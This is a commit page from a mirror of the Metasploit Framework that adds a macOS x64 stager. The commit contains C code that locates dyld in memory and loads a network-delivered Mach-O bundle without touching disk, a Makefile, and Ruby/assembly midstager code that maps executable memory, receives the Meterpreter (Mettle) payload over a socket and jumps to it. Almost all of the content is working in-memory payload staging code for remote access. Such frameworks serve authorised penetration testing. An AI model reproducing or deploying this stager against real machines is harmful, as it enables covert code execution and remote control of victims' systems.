1
mirror of https://github.com/rapid7/metasploit-framework synced 2024-10-02 07:40:19 +02:00

add osx x64 stager

This commit is contained in:
Tim W 2018-01-03 00:41:20 +08:00
parent 44fbb171a6
commit 46a45550fd
3 changed files with 341 additions and 31 deletions

View File

@ -0,0 +1,29 @@
CFLAGS=-fno-stack-protector -fomit-frame-pointer -fno-exceptions -fPIC -O0
SDK=`xcrun --sdk iphoneos --show-sdk-path`
GCC_BIN=`xcrun --sdk iphoneos -f gcc`
GCC_BASE=$(GCC_BIN) $(CFLAGS) -Wimplicit -isysroot $(SDK)
GCC=$(GCC_BASE) -arch arm64
SDK_OSX=`xcrun --sdk macosx --show-sdk-path`
GCC_BIN_OSX=`xcrun --sdk macosx -f gcc`
GCC_BASE_OSX=$(GCC_BIN_OSX) -Os $(CFLAGS)
GCC_OSX=$(GCC_BASE_OSX) -arch x86_64
all: clean main_ios main_osx
main_ios: main.c
$(GCC) -o $@ $^
ldid -S $@
main_osx: main.c
$(GCC_OSX) -o $@ $^
install: main_osx
cp main_osx ../../../../../data/meterpreter/x64_osx_stage
shellcode: install
otool -tv main_osx
clean:
rm -f *.o main_ios main_osx

View File

@ -0,0 +1,238 @@
#include <stdio.h>
#include <string.h>
#include <mach-o/loader.h>
#include <mach-o/nlist.h>
#include <mach-o/dyld.h>
#include <sys/types.h>
typedef NSObjectFileImageReturnCode (*NSCreateObjectFileImageFromMemory_ptr)(void *address, unsigned long size, NSObjectFileImage *objectFileImage);
typedef NSModule (*NSLinkModule_ptr)(NSObjectFileImage objectFileImage, const char* moduleName, unsigned long options);
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int dereference);
uint64_t find_symbol(uint64_t base, char* symbol);
uint64_t find_entry_offset(struct mach_header_64 *mh);
int string_compare(const char* s1, const char* s2);
/*#define DEBUG*/
#ifdef DEBUG
static void print(char * str);
#endif
int main(int argc, char** argv)
{
#ifdef DEBUG
print("main!\n");
#endif
uint64_t buffer = 0;
uint64_t buffer_size = 0;
__asm__(
"movq %%r10, %0;\n"
"movq %%r12, %1;\n"
: "=g"(buffer), "=g"(buffer_size));
#ifdef DEBUG
print("hello world!\n");
#endif
uint64_t binary = find_macho(0x100000000, 0x1000, 0);
if (!binary) {
return 1;
}
uint64_t dyld = find_macho(binary + 0x1000, 0x1000, 0);
if (!dyld) {
return 1;
}
NSCreateObjectFileImageFromMemory_ptr NSCreateObjectFileImageFromMemory_func = (void*)find_symbol(dyld, "_NSCreateObjectFileImageFromMemory");
if (!NSCreateObjectFileImageFromMemory_func) {
return 1;
}
#ifdef DEBUG
print("good symbol!\n");
#endif
NSLinkModule_ptr NSLinkModule_func = (void*)find_symbol(dyld, "_NSLinkModule");
if (!NSLinkModule_func) {
return 1;
}
/*if (*(char*)buffer == 'b') {*/
/*print("magic b!\n");*/
/*}*/
*(char*)buffer = '\xcf';
((uint32_t *)buffer)[3] = MH_BUNDLE;
NSObjectFileImage fi = 0;
if (NSCreateObjectFileImageFromMemory_func((void*)buffer, buffer_size, &fi) != 1) {
return 1;
}
#ifdef DEBUG
print("created!\n");
#endif
NSModule nm = NSLinkModule_func(fi, "", NSLINKMODULE_OPTION_PRIVATE | NSLINKMODULE_OPTION_BINDNOW | NSLINKMODULE_OPTION_RETURN_ON_ERROR);
if (!nm) {
#ifdef DEBUG
print("no nm!\n");
#endif
return 1;
}
#ifdef DEBUG
print("good nm!\n");
#endif
uint64_t execute_base = (uint64_t)nm;
execute_base = find_macho(execute_base, sizeof(int), 1);
uint64_t entry_off = find_entry_offset((void*)execute_base);
if (!entry_off) {
return 1;
}
uint64_t entry = (execute_base + entry_off);
int(*main_func)(int, char**) = (int(*)(int, char**))entry;
char* socket = (char*)(size_t)argc;
char *new_argv[] = { "m", socket, NULL };
int new_argc = 2;
return main_func(new_argc, new_argv);
}
uint64_t find_symbol(uint64_t base, char* symbol)
{
struct segment_command_64 *sc, *linkedit, *text;
struct load_command *lc;
struct symtab_command *symtab;
struct nlist_64 *nl;
char *strtab;
symtab = 0;
linkedit = 0;
text = 0;
lc = (struct load_command *)(base + sizeof(struct mach_header_64));
for (int i=0; i<((struct mach_header_64 *)base)->ncmds; i++) {
if (lc->cmd == LC_SYMTAB) {
symtab = (struct symtab_command *)lc;
} else if (lc->cmd == LC_SEGMENT_64) {
sc = (struct segment_command_64 *)lc;
char * segname = ((struct segment_command_64 *)lc)->segname;
if (string_compare(segname, "__LINKEDIT") == 0) {
linkedit = sc;
} else if (string_compare(segname, "__TEXT") == 0) {
text = sc;
}
}
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
}
if (!linkedit || !symtab || !text) return -1;
unsigned long file_slide = linkedit->vmaddr - text->vmaddr - linkedit->fileoff;
strtab = (char *)(base + file_slide + symtab->stroff);
nl = (struct nlist_64 *)(base + file_slide + symtab->symoff);
for (int i=0; i<symtab->nsyms; i++) {
char *name = strtab + nl[i].n_un.n_strx;
/*#ifdef DEBUG*/
/*print(name);*/
/*print("\n");*/
/*#endif*/
if (string_compare(name, symbol) == 0) {
return base + nl[i].n_value;
}
}
return -1;
}
uint64_t syscall_chmod(uint64_t path, long mode)
{
uint64_t chmod_no = 0x200000f;
uint64_t ret = 0;
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
"movq %3, %%rsi;\n"
"syscall;\n"
"movq %%rax, %0;\n"
: "=g"(ret)
: "g"(chmod_no), "S"(path), "g"(mode)
:);
return ret;
}
uint64_t find_macho(uint64_t addr, unsigned int increment, unsigned int pointer)
{
while(1) {
uint64_t ptr = addr;
if (pointer) {
ptr = *(uint64_t *)ptr;
}
unsigned long ret = syscall_chmod(ptr, 0777);
if (ret == 0x2 && ((int *)ptr)[0] == MH_MAGIC_64) {
return ptr;
}
addr += increment;
}
return 0;
}
uint64_t find_entry_offset(struct mach_header_64 *mh)
{
struct entry_point_command *entry;
struct load_command *lc = (struct load_command *)((void*)mh + sizeof(struct mach_header_64));
for (int i=0; i<mh->ncmds; i++) {
if (lc->cmd == LC_MAIN) {
entry = (struct entry_point_command *)lc;
return entry->entryoff;
}
lc = (struct load_command *)((unsigned long)lc + lc->cmdsize);
}
return 0;
}
int string_compare(const char* s1, const char* s2)
{
while (*s1 != '\0' && *s1 == *s2)
{
s1++;
s2++;
}
return (*(unsigned char *) s1) - (*(unsigned char *) s2);
}
#ifdef DEBUG
int string_len(const char* s1)
{
const char* s2 = s1;
while (*s2 != '\0')
{
s2++;
}
return (s2 - s1);
}
void print(char * str)
{
long write = 0x2000004;
long stdout = 1;
unsigned long len = string_len(str);
unsigned long long addr = (unsigned long long) str;
unsigned long ret = 0;
/* ret = write(stdout, str, len); */
__asm__(
"movq %1, %%rax;\n"
"movq %2, %%rdi;\n"
"movq %3, %%rsi;\n"
"movq %4, %%rdx;\n"
"syscall;\n"
"movq %%rax, %0;\n"
: "=g"(ret)
: "g"(write), "g"(stdout), "S"(addr), "g"(len)
: "rax", "rdi", "rdx" );
}
#endif

View File

@ -28,7 +28,49 @@ module MetasploitModule
end
def handle_intermediate_stage(conn, payload)
stager_file = File.join(Msf::Config.data_directory, "meterpreter", "x64_osx_stage")
data = File.binread(stager_file)
macho = MachO::MachOFile.new_from_bin(data)
main_func = macho[:LC_MAIN].first
entry_offset = main_func.entryoff
output_data = ''
for segment in macho.segments
for section in segment.sections
file_section = segment.fileoff + section.offset
vm_addr = section.addr - 0x100000000
section_data = data[file_section, section.size]
if output_data.size < vm_addr
output_data += "\x00" * (vm_addr - output_data.size)
end
if section_data
output_data[vm_addr, output_data.size] = section_data
end
end
end
midstager_asm = %(
push rdi ; save sockfd
xor rdi, rdi ; address
mov rsi, #{output_data.length} ; length
mov rdx, 0x7 ; PROT_READ | PROT_WRITE | PROT_EXECUTE
mov r10, 0x1002 ; MAP_PRIVATE | MAP_ANONYMOUS
xor r8, r8 ; fd
xor r9, r9 ; offset
mov eax, 0x20000c5 ; mmap
syscall
mov r12, rax
mov rdx, rsi ; length
mov rsi, rax ; address
pop rdi ; sockfd
mov r10, 0x40 ; MSG_WAITALL
xor r8, r8 ; srcaddr
xor r9, r9 ; addrlen
mov eax, 0x200001d ; recvfrom
syscall
push rdi ; save sockfd
xor rdi, rdi ; address
mov rsi, #{payload.length} ; length
@ -48,43 +90,44 @@ module MetasploitModule
mov eax, 0x200001d ; recvfrom
syscall
mov rax, #{@entry_offset}
add rsi, rax
jmp rsi
)
mov r10, rsi
; setup stack?
and rsp, -0x10 ; Align
add sp, 0x40 ; Add room for initial stack and prog name
mov rax, 109 ; prog name "m"
push 0 ;
mov rcx, rsp ; save the stack
push 0
push 0
push 0
push 0
push 0
push 0
push rdi ; ARGV[1] int sockfd
push rcx ; ARGV[0] char *prog_name
mov rax, 2 ; ARGC
push rax
mov rsi, r12
mov r12, rdx
mov rax, #{entry_offset}
add rsi, rax
call rsi
)
midstager = Metasm::Shellcode.assemble(Metasm::X64.new, midstager_asm).encode_string
print_status("Transmitting intermediate stager...(#{midstager.length} bytes)")
print_status("Transmitting first stager...(#{midstager.length} bytes)")
conn.put(midstager) == midstager.length
print_status("Transmitting second stager...(#{output_data.length} bytes)")
conn.put(output_data) == output_data.length
end
def generate_stage(opts = {})
data = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
mettle_macho = MetasploitPayloads::Mettle.new('x86_64-apple-darwin',
generate_config(opts.merge({scheme: 'tcp'}))).to_binary :exec
#data = File.binread("/Users/user/dev/git/darwin-stager/main_osx")
#data = File.binread("/Users/user/dev/git/ios/shellcc/shellcode/shelltest64")
#data = File.binread("/usr/bin/yes")
macho = MachO::MachOFile.new_from_bin(data)
main_func = macho[:LC_MAIN].first
@entry_offset = main_func.entryoff
output_data = ''
for segment in macho.segments
for section in segment.sections
file_section = segment.fileoff + section.offset
vm_addr = section.addr - 0x100000000
section_data = data[file_section, section.size]
if output_data.size < vm_addr
output_data += "\x00" * (vm_addr - output_data.size)
end
if section_data
output_data[vm_addr, output_data.size] = section_data
end
end
end
output_data += "\x00" * (0x1000 - (output_data.size % 0x1000))
output_data
mettle_macho[0] = 'b'
mettle_macho
end
end